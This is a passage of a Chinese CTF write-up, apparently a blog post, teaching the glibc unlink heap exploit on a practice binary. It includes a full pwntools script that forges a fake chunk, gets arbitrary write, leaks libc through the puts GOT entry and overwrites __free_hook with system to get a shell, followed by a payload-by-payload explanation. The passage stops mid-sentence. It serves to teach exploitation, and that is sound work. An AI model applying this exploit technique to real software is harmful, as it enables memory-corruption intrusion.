堆漏洞

img

img

https://blog.csdn.net/Morphy_Amo/article/details/122631424

unlink是什么?第一次学到这个知识的时候我还以为是某种漏洞,但是当我做题的时候看到一篇文章才发现,unlink是glibc中的一个宏:

unlink()是glibc中的一个宏,其目的是将某一个空闲 chunk 从其所处的 bin 中脱链。在 malloc_consolidate() 函数中将 fastbin 中的空闲 chunk 整理到 unsorted_bin,在 malloc() 函数中用于将 unsorted_bin 中的空闲 chunk 整理到 smallbin 或者 largebin,以及在 mallo() 中获得堆空间时,均有可能调用 unlink() 宏。

img

这张图最后想表达的意思是我们在利用unlink之后最后实现的功能是,当前的P这个chunk脱离了正常的chunk链,但是从图中可以看出,这里P的fd指针和bk指针仍然指向了BKchunk和FDchunk。

那我们什么时候能使用unlink这个功能?从图中我们可以知道,要想实现这个功能,我们必须保证让BKchunk的fd指针指向FDchunk,并且FDchunk的bk指针要指向BKchunk。

以上这幅图都是在malloc中的模拟状态,总的而言,当我们想要释放一个堆块时,就会触发unlink操作,使得这个被释放的chunk能够进入它所属于的bins。

我们通过一道题目来详细讲解

image-20250217204714150

image-20250217204753909

在take_note功能这里我们可以看到,出现溢出漏洞,这里我们就可以是用Unlink漏洞(关于什么使用Unlink漏洞:当文件中具有edit功能的函数,并且存在堆溢出漏洞,可以让我们修改相邻chunk的fd,bk指针时就可以使用)

然后我们可以开始着手:这里先放exp,方便后面对进行详细解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
context(arch='amd64',log_level='debug')
#context(arch='i386',log_level='debug')
def s(a):
io.send(a)

def sa(a, b):
io.sendafter(a, b)

def sl(a):
io.sendline(a)

def sla(a, b):
io.sendlineafter(a, b)

def r():
io.recv()

def pr():
print(io.recv())

def rl(a):
return io.recvuntil(a)

def inter():
io.interactive()

def debug():
gdb.attach(io)
pause()

def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def ret_csu(r12, r13, r14, r15, last):
payload = offset * 'a'
#构造栈溢出的padding
payload += p64(gadget1)
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(gadget2)
#gadgets2的地址
payload += 'a' * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload

io=process('./pwn')
#io=remote('',)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
def choose(num):
sla(b'chooice :',str(num))

def add(size):
choose(1)
sla(b'size : ',str(size))

def free(num):
choose(2)
sla(b'delete',str(num))

def show(num):
choose(3)
sla(b'show',str(num))

def edit(num,content):
choose(4)
sla(b'modify :',str(num))
sla(b'content',content)
ptr=0x6020c0
add(0x20)#chunk0
add(0x80)#chunk1
add(0x100)#chunk2
payload=p64(0)
payload+=p64(0x20)
payload+=p64(ptr-0x18)
payload+=p64(ptr-0x10)
payload+=p64(0x20)
payload+=p64(0x90)
edit(0,payload)
free(1)
payload1=p64(0)*3+p64(0x6020c8)
edit(0,payload1)
payload=p64(elf.got['puts'])
edit(0,payload)
show(1)
puts=get_addr()
print("puts=",hex(puts))
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh\x00'))
free_hook=libc_base+libc.sym['__free_hook']
payload=p64(free_hook)+p64(bin_sh)
edit(0,payload)
payload=p64(system)
edit(1,payload)
free(2)
print(hex(system))
print(hex(bin_sh))
debug()
inter()

image-20250217205114481

image-20250217205126379

这里我们创建的chunk都被放在了bss段上,并且地址是固定的,省去了我们寻找目标地址的过程。

刚开始在学习unlink时,我一直都没有搞懂所谓的实现任意地址读写的原因,后来在复现这道题目的时候有了进一步深刻理解。

这里我们创建了三个chunk,作用分别为:

0x20:用于狗仔fakechunk,溢出修改下一个chunk的内容

0x80:作为被修改的目标

0x100:与topchunk进行隔离

然后构造我们的payload:

1
2
3
4
5
6
7
payload=p64(0)
payload+=p64(0x20)
payload+=p64(ptr-0x18)
payload+=p64(ptr-0x10)
payload+=p64(0x20)
payload+=p64(0x90)
edit(0,payload)

我们来对比一下发送这段payload,chunk1的前后变化

修改前:

修改后:

image-20250217205845657

这里pre_size位置被修改为0x20,相当于告诉操作系统在我的前面还有一个0x20大小的并且被free的chunk,size位置被修改为0x90大小代表这个大小为0x90的chunk(chunk1)是被free的,但是实际这个chunk没有被Free,是我们通过堆溢出修改size位,让系统误以为这个chunk已经被free了,满足unlink条件。

那么可能有人会问,前面的0x20大小的chunk是哪来的?

1
2
3
4
payload=p64(0)
payload+=p64(0x20)
payload+=p64(ptr-0x18)
payload+=p64(ptr-0x10)

我们再仔细看这段代码,实际就是构造了一个fake_chunk(大小为0x20),因此系统会误以为这是一个真实存在的chunk,并且由于它和chunk1相邻,并且他们满足unlink的条件,就会发生Unlink。于是他们就发生合并。并且这里要注意,由于我在chunk0中构造了一个fake_chunk,但是系统并不知道,所以在后续的修改当中,fake_chunk的编号变成了1,而chunk1和chunk2的编号便成了2,3。

image-20250217211411773

然后我们这里free(1)

可以看到这里的fake_chunk的size位变成了0xb1证明已经unlink成功。

然后我们回想一下unlink之后会发生什么?

P->fd=FD->bk=BK

P->bk=BK->fd=FD

而我们这里将P的fd修改成了ptr-0x18

所以BK=ptr

由于我们可以定义BK的值,这就相当于可以修改ptr的值,可以指向我们想要到达的地址,实现任意地址读写,达成目的。

现在我们要搞清楚如何修改BK的值,首先要清楚这里的P就是我们刚刚在chunk0中构造的fake_chunk,那么我们的FD chunk应该是chunk 2(原来的0x80大小的chunk),但是由于unlink将两者合并了,所以我认为这里他们的fd,bk是共享的,修改了fake_chunk的bk就相当于修改了chunk2的bk,所以我们使用语句进行修改

1
2
payload1=p64(0)*3+p64(0x6020c8)
edit(0,payload1)

这里我们调试看一下

image-20250218205444480

可以看到成功改写了0x6020c0上的内容。

这样我们在edit chunk